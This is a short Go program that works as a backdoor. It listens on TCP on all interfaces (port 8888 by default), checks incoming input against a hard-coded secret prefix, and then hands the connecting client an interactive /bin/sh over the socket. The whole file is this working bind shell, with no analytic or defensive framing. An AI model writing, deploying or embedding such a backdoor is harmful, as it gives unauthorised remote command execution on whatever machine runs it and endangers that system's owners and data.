package main

import (
	"bytes"
	"flag"
	"fmt"
	"log"
	"net"
	"os"
	"os/exec"
)

var pport = flag.String("port", "8888", "the port")

func init() {
	flag.Parse()
}
func main() {
	port := *pport
	server(port)
}
func server(port string) {
	hostPort := "0.0.0.0:" + port
	l, e := net.Listen("tcp4", hostPort)
	if e != nil {
		log.Println(e.Error())
		os.Exit(0)
	}
	for {
		conn, err := l.Accept()
		if err != nil {
			log.Println(err.Error())
			os.Exit(0)
		}
		go func() {
			handle(conn)
		}()
	}
}

func handle(conn net.Conn) {
	defer conn.Close()
	conn.Write([]byte("input the username:\n"))
	var b = make([]byte, 40, 40)
	conn.Read(b)
	if !bytes.HasPrefix(b, []byte("gdynuiuabilmtsyeui")) {
		return
	}
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = conn
	cmd.Stdout = conn
	cmd.Stderr = conn
	err := cmd.Start()
	if err != nil {
		fmt.Println("fuck ,", err.Error())
	}
	err = cmd.Wait()
	if err != nil {
		fmt.Println("wait ,", err.Error())
	}

}
